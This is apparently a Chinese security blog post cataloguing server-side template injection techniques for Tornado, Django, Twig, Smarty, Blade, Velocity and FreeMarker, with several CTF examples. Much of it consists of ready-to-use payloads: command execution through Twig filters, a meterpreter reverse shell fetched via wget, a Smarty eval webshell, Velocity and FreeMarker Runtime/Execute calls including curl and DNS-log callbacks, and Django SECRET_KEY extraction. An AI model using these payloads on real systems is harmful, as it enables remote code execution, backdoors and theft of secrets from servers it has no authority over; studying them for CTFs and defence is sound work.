关于它的注入语法,自己还没什么接触,网上相关的题目也比较少,但感觉应该跟Jinja2差不多吧,以后有更多理解再继续补充吧

抄一下大佬的例子:以下代码将定义一个TEMPLATE变量作为一个模板文件,然后使用传入的name替换模板中的”ABC”,在进行加载模板并输出,且未对name值进行安全检查输入情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import tornado.template
import tornado.ioloop
import tornado.web
TEMPLATE = '''
<html>
<head><title> Hello {{ name }} </title></head>
<body> Hello max </body>
</html>
'''
class MainHandler(tornado.web.RequestHandler):

def get(self):
name = self.get_argument('name', '')
template_data = TEMPLATE.replace("ABC",name)
t = tornado.template.Template(template_data)
self.write(t.generate(name=name))

application = tornado.web.Application([(r"/", MainHandler),], debug=True, static_path=None, template_path=None)

if __name__ == '__main__':
application.listen(8000)
tornado.ioloop.IOLoop.instance().start()

以护网杯 2018的easy_tornado为例,具体分析参照python SSTI tornado render模板注入multi4的博客

1
handler.settings能够获取配置信息,在tornado模板中,存在一些可以访问的快速对象,比如` {{escape(handler.settings["cookie"])}}`,这个其实就是handler.settings对象,里面存储着一些环境变量。
1
2
3
4
5
6
7
8
9
10
11
12
/flag.txt
/welcome.txt
/hints.txt

/welcome.txt
render

/hints.txt
md5(cookie_secret+md5(filename))

/flag.txt
flag in /fllllllllllllag

遍历了一下目录,知道了flag在/fllllllllllllag,访问文件同时还需要filehash,例如

1
?filename=/flag.txt&filehash=991843a54ff8420d8e3ba7d9ecacdbfc

格式都知道了,就差cookie_secret不知道了,但handler.settings对象里面存储着一些环境变量。

发现注入点在/error?msg=,于是传入

接下来就可以按步骤拿到flag了

1
?filename=/fllllllllllllag&filehash=77b2edffa72e10942489b850ee4118dc

Django

Django 以快速开发著称,有自己好用的ORM,有个特点是耦合性高。它有自己的模板引擎,所以一般情况下Django比较不容易发生SSTI。

但还是会有一些安全问题,详细请看:Django安全-Xman21’Blog

例如:

1
2
3
def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))

注入点很明显就是 email,但是如果我们的能力已经被限制的很死,很难执行命令,但又想获取和 User 有关的配置信息的话(现在拿到的只有有一个 和user 有关的变量,那就是 request user ),怎么办?这个时候我们就应该在没有应用源码的情况下去寻找框架本身的属性,看这个空框架有什么属性和类之间的引用。

p牛分享的思路:Django是一个庞大的框架,其数据库关系错综复杂,我们其实是可以通过属性之间的关系去一点点挖掘敏感信息。但Django仅仅是一个框架,在没有目标源码的情况下很难去挖掘信息,所以我的思路就是:去挖掘Django自带的应用中的一些路径,最终读取到Django的配置项

后来发现Django自带的应用“admin”(也就是Django自带的后台)的models.py中导入了当前网站的配置文件:

img

只需要通过某种方式,找到Django默认应用admin的model,再通过这个model获取settings对象,进而获取数据库账号密码、Web加密密钥等信息。

payload:

1
2
3
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}

http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

php中的ssti

Twig

Twig是来自于Symfony的模板引擎,因此有些2.x版本的payload需要依赖Symfony,但3.x版本的一些payload就不不依赖于Symfony了

{# comment #}是 Twig 模板引擎的默认注释形式,所以有时候可以根据这一特性来识别出Twig,例如

1
hel{# comment #}{{7*7}}lo

在前端输出的时候会显示hel77lo

直接看一下针对twig的payload:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

这里的id就是替换成想执行的命令

比如可以进行msf反弹shell

1
msfvenom -p php/meterpreter/reverse_tcp -f raw LHOST=192.168.127.131 LPORT=4321 > /var/www/html/shell.txt

再注入:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("wget http://192.168.127.131/shell.txt -O /tmp/shell.php;php -f /tmp/shell.php")}}

[BJDCTF2020]Cookie is so stable,这道题就是twig的注入,注入点在cookie的user字段

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

以下是一些包括新版本3.x的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{{'/etc/passwd'|file_excerpt(1,30)}}

{{app.request.files.get(1).__construct('/etc/passwd','')}}

{{app.request.files.get(1).openFile.fread(99)}}

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

{{_self.env.enableDebug()}}{{_self.env.isDebug()}}

{{["id"]|map("system")|join(",")

{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

{{["id",0]|sort("system")|join(",")}}

{{["id"]|filter("system")|join(",")}}

{{[0,0]|reduce("system","id")|join(",")}}

{{['cat /etc/passwd']|filter('system')}}

详见:TWIG 全版本通用 SSTI payloads

Smarty

Smarty是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function)

但是,实际上对语言的限制并不能影响我们执行命令,因为我们首先考虑的应该是模板本身,可以发现:$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的的方法

  • smarty/libs/sysplugins/smarty_internal_data.php  ——>  getStreamVariable() //可以用这个方法读文件

3.1.30的Smarty版本中官方已经把该静态方法删除。 对于那些文章提到的利用 Smarty_Internal_Write_File 类的writeFile方法来写shell也由于同样的原因无法使用

1
{self::getStreamVariable("file:///etc/passwd")}
  • smarty/libs/sysplugins/smarty_internal_write_file.php  ——>  Smarty_Internal_Write_File //这个类中有一个writeFile方法

3.1.30的Smarty版本中官方已经把该静态方法删除。 对于那些文章提到的利用 Smarty_Internal_Write_File 类的writeFile方法来写shell也由于同样的原因无法使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
class Smarty_Internal_Write_File
{
/**
* Writes file in a safe way to disk
*
* @param string $_filepath complete filepath
* @param string $_contents file content
* @param Smarty $smarty smarty instance
*
* @throws SmartyException
* @return boolean true
*/
public function writeFile($_filepath, $_contents, Smarty $smarty)
{
$_error_reporting = error_reporting();
error_reporting($_error_reporting & ~E_NOTICE & ~E_WARNING);
if ($smarty->_file_perms !== null) {
$old_umask = umask(0);
}

$_dirpath = dirname($_filepath);
// if subdirs, create dir structure
if ($_dirpath !== '.' && !file_exists($_dirpath)) {
mkdir($_dirpath, $smarty->_dir_perms === null ? 0777 : $smarty->_dir_perms, true);
}

// write to tmp file, then move to overt file lock race condition
$_tmp_file = $_dirpath . DS . str_replace(array('.', ','), '_', uniqid('wrt', true));
if (!file_put_contents($_tmp_file, $_contents)) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_tmp_file}");
}

/*
* Windows' rename() fails if the destination exists,
* Linux' rename() properly handles the overwrite.
* Simply unlink()ing a file might cause other processes
* currently reading that file to fail, but linux' rename()
* seems to be smart enough to handle that for us.
*/
if (Smarty::$_IS_WINDOWS) {
// remove original file
if (is_file($_filepath)) {
@unlink($_filepath);
}
// rename tmp file
$success = @rename($_tmp_file, $_filepath);
} else {
// rename tmp file
$success = @rename($_tmp_file, $_filepath);
if (!$success) {
// remove original file
if (is_file($_filepath)) {
@unlink($_filepath);
}
// rename tmp file
$success = @rename($_tmp_file, $_filepath);
}
}
if (!$success) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_filepath}");
}
if ($smarty->_file_perms !== null) {
// set file permissions
chmod($_filepath, $smarty->_file_perms);
umask($old_umask);
}
error_reporting($_error_reporting);

return true;
}
}

可以看到 writeFile 函数第三个参数一个 Smarty 类型,后来找到了 self::clearConfig(),函数原型:

1
2
3
4
public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}

可以拿来写木马:

1
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())}
  • 可以用{$smarty.version}来查看smarty版本
1
{$smarty.version}  #获取smarty的版本号
  • Smarty支持使用 {php}{/php} 标签来执行被包裹其中的php指令,Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
1
{php}phpinfo();{/php}
  • {literal}可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。但是这种写法只适用于php5环境
1
<script language="php">phpinfo();</script>   
  • {if}{/if}
1
2
{if phpinfo()}{/if}
{if system('ls /')}{/if}

CISCN2019华东南赛区Web11为例

通过控制XFF进行命令执行(这是要在前端有IP相关回显的情况)

1
X-Forwarded-For: {{system("ls")}}

在XXF执行相应的命令就可以了

Blade

Blade 是 Laravel 提供的一个既简单又强大的模板引擎。

和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade基本上不会给你的应用增加任何额外负担。参考Laravel|Blade

1
2
3
4
5
6
7
<h1>{{ $group->title }}</h1> 
{!! $group->imageHtml() !!}
@forelse ($users as $user)
{{ $user->username }} {{ $user->nickname }}<br>
@empty
该组中没有任何用户
@endforelse

常见的语法:

  • 通过 {{ }} 渲染 PHP 变量(最常用)
  • 通过 {!! !!} 渲染原生 HTML 代码(用于富文本数据渲染)
  • 通过以 @ 作为前缀的 Blade 指令执行一些控制结构和继承、引入之类的操作
  • 通过{{-- 注释内容 --}}来注释PHP 代码

{{ $variable }},你可以将其类比为 <?php echo $variable; ?>,但是通过 {{}}` 语法包裹渲染的 PHP 变量会通过 `htmlentities()` 方法进行 HTML 字符转义,从而避免类似 XSS 这种攻击,所以 `{{ $variable }} 编译后的最终代码是:

1
<?php echo htmlentities($variable); ?>

但通过 {!! !!} 来包裹待渲染数据了就不会进行 HTML 字符转义了,{!! $variable !!}编译后就是:

1
<?php echo $variable; ?>

以此就可能进行xss或其他攻击,如果没有对富文本数据进行防护的话

很多前端框架也是通过 {{}}` 来输出 JavaScript 变量数据的,比如 Vue.js 就是,对于这种情况,我们需要在渲染前端 JavaScript 变量的 `{{}} 前面加上 @ 前缀,这样,Blade 模板引擎在编译模板代码的时候会跳过带 @ 前缀的 {{}} 数据渲染,并将 @ 移除从而可以后续执行对应的 JavaScript 框架渲染逻辑:

1
2
3
4
// Blade 引擎会将其编译为对应的 PHP 代码
{{ $phpData }}
// Blade 引擎编译时会移除 @,保留 {{ $vueData }} 结构
@{{ $vueData }}

java中的ssti

对于java,自己还没有进行学习,也没有接触过此类的ssti,因此此更多的是搬一下别人的总结,顺便学习一下,更多内容以后有新收获再来补充

velocity

Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。参考:CVE-2019-3396 Confluence Velocity SSTI漏洞浅析 - 先知社区

即使是最新版本的Velocity,如果使用evaluate来进行渲染模板,仍然会有漏洞。

语法:

  • #表示符 :”#”用来标识Velocity的脚本语句,包括#set、#if 、#else、#end、#foreach、#end、#iinclude、#parse、#macro等;

    1
    2
    3
    4
    5
    #if($info.imgs)
    <img src="$info.imgs" border=0>
    #else
    <img src="noPhoto.jpg">
    #end
  • $表示符 :”$”用来标识一个对象(或理解为变量);如:$i、$msg、$TagUtil.options(…)等。

  • {} 标识符 : “{}”用来明确标识Velocity变量;比如在页面中,页面中有一个$someonename,此时,Velocity将把someonename作为变量名,若我们程序是想在someone这个变量的后面紧接着显示name字符,则上面的标签应该改成${someone}name。

  • !标识符 :”!”用来强制把不存在的变量显示为空白。如当页面中包含$msg,如果msg对象有值,将显示msg的值,如果不存在msg对象同,则在页面中将显示$msg字符。这是我们不希望的,为了把不存在的变量或变量值为null的对象显示为空白,则只需要在变量名前加一个“!”号即可。
    如:$!msg

  • set声明 :set用于声明Velocity脚本变量,变量可以在脚本中声明

1
2
3
#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])
  • #注释:单行注释为##,多行注释为成对出现的#* …………. *#
  • 条件语句:以if/else为例:
1
2
3
4
5
6
7
8
9
#if($foo<10)
<strong>1</strong>
#elseif($foo==10)
<strong>2</strong>
#elseif($bar==6)
<strong>3</strong>
#else
<strong>4</strong>
#end
  • \转义字符:如果$a已经被定义,但是又需要原样输出$a,可以试用\转义作为关键的$

通过反射和一系列的调用来实现调用,具体流程参考Java安全之velocity 模板注入SSTI模板注入

payload示例:

1
%23set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")
1
$address.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl http://xxxx?a=4s589")
1
2
velocity?template=%23set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc.exe")
// 在windows上弹出计算器,其他命令均可执行,只不过没有相应的回显。

注意:上面的%23并不能直接url解码换成#

由于没有相应的回显,可以考虑反弹bash

Confluence 未授权RCE分析(cve-2019-3396)

由 widget Connector 这个插件造成的SSTI,利用SSTI而造成的RCE。在经过diff后,可以确定触发漏洞的关键点在于对post包中的_template字段,详细参考:Confluence未授权模板注入/代码执行(CVE-2019-3396) - caiqiqi

FreeMarker

官方解释:FreeMarker 是一款模板引擎:即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

模板代码:

1
2
3
4
5
6
7
8
9
10
<html>
<head>
<title>Welcome!</title>
</head>
<body> <#–这是注释–>
<h1>Welcome ${user}!</h1>
<p>Our latest product:
<a href="${latestProduct.url}">${latestProduct.name}</a>!
</body>
</html>

模板文件存放在Web服务器上,就像通常存放静态HTML页面那样。当有人来访问这个页面, FreeMarker将会介入执行,然后动态转换模板,用最新的数据内容替换模板中 ${…} 的部分, 之后将结果发送到访问者的Web浏览器

这个模板主要用于 java ,用户可以通过实现 TemplateModel 来用 new 创建任意 Java 对象

用法:

1
2
3
4
<# - 创建一个用户定义的指令,调用类的参数构造函数 - >
<#assign word_wrapp ="com.acmee.freemarker.WordWrapperDirective"?new()>
<# - 创建一个用户定义的指令,用一个数字参数调用构造函数 - >
<#assign word_wrapp_narrow ="com.acmee.freemarker.WordWrapperDirective"?new40)>

调用了构造函数创建了一个对象,那么这个 payload 中就是调用的 freemarker 的内置执行命令的对象 Execute

freemarker.template.utility 里面有个Execute类,这个类会执行它的参数,因此我们可以利用new函数新建一个Execute类,传输我们要执行的命令作为参数,从而构造远程命令执行漏洞。构造payload:

1
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

freemarker.template.utility 里面有个ObjectConstructor类,如下图所示,这个类会把它的参数作为名称,构造了一个实例化对象。因此我们可以构造一个可执行命令的对象,从而构造远程命令执行漏洞。

1
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()

freemarker.template.utility 里面的JythonRuntime,可以通过自定义标签的方式,执行Python命令,从而构造远程命令执行漏洞。

1
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>

示例:

前端代码  ——>  hello.ftl

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Hello ${name}!</title>
<link href="/css/main.css" rel="stylesheet">
</head>
<body>
<h2 class="hello-title">Hello ${name}!</h2>
<script src="/js/main.js"></script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.backendvulnerabilities.ssti;

import freemarker.cache.MultiTemplateLoader;
import freemarker.cache.StringTemplateLoader;
import freemarker.cache.TemplateLoader;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import freemarker.template.utility.DateUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.*;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.Map;

@Controller
public class HelloController {

@Autowired
private Configuration con;

@GetMapping("/")
public String index() {
return "index";
}

@RequestMapping(value = "/hello")
public String hello(@RequestBody Map<String,Object> body, Model model) {
model.addAttribute("name", body.get("name"));
return "hello";
}

@RequestMapping(value = "/freemarker")
public void freemarker(@RequestParam("username") String username, HttpServletRequest httpserver,HttpServletResponse response) {
try{
String data = "1ooooooooooooooooooo~";
String templateContent = "<html><body>Hello " + username + " ${data}</body></html>";
String html = createHtmlFromString(templateContent,data);
response.getWriter().println(html);

}catch (Exception e){
e.printStackTrace();
}
}

private String createHtmlFromString(String templateContent, String data) throws IOException, TemplateException {
Configuration cfg = new Configuration();
StringTemplateLoader stringLoader = new StringTemplateLoader();
stringLoader.putTemplate("myTemplate",templateContent);
cfg.setTemplateLoader(stringLoader);
Template template = cfg.getTemplate("myTemplate","utf-8");
Map root = new HashMap();
root.put("data",data);

StringWriter writer = new StringWriter();
template.process(root,writer);
return writer.toString();
}

@RequestMapping(value = "/template", method = RequestMethod.POST)
public String template(@RequestBody Map<String,String> templates) throws IOException {
StringTemplateLoader stringLoader = new StringTemplateLoader();
for(String templateKey : templates.keySet()){
stringLoader.putTemplate(templateKey, templates.get(templateKey));
}
con.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{stringLoader,
con.getTemplateLoader()}));
return "index";
}
}

上述代码主要编译给定的模板字符串和数据,生成HTML进行输出

img

模板注入的前提是在无过滤的情况下,使用模板来解析我们输入的字符,可以通过页面上的变化,来判断我们输入的内容是否被解析,如上图我们输入的内容被成功解析到页面上,并且没有过滤。

首先需要控制被攻击模板 /template 的内容,也就是要将本来无危害的模板文件实时更改为可攻击的模板内容。

payload

1
{"hello.ftl": "<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\"><#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"ping ilxwh0.dnslog.cn\") }<title>Hello!</title><link href=\"/css/main.css\" rel=\"stylesheet\"></head><body><h2 class=\"hello-title\">Hello!</h2><script src=\"/js/main.js\"></script></body></html>"}

Reference

SSTI(模板注入)漏洞(入门篇) - bmjoker

SSTI入门详解_ssti原理_hahahahaha!的博客-CSDN博客

web 安全系列-12-SSTI 模板注入 | Echo Blog (houbb.github.io)

https://tttang.com/archive/1698/

https://xz.aliyun.com/t/9584


SSTI(模板注入)
https://www.supersmallblack.cn/SSTI(模板注入).html
作者
Small Black
发布于
2023年8月13日
许可协议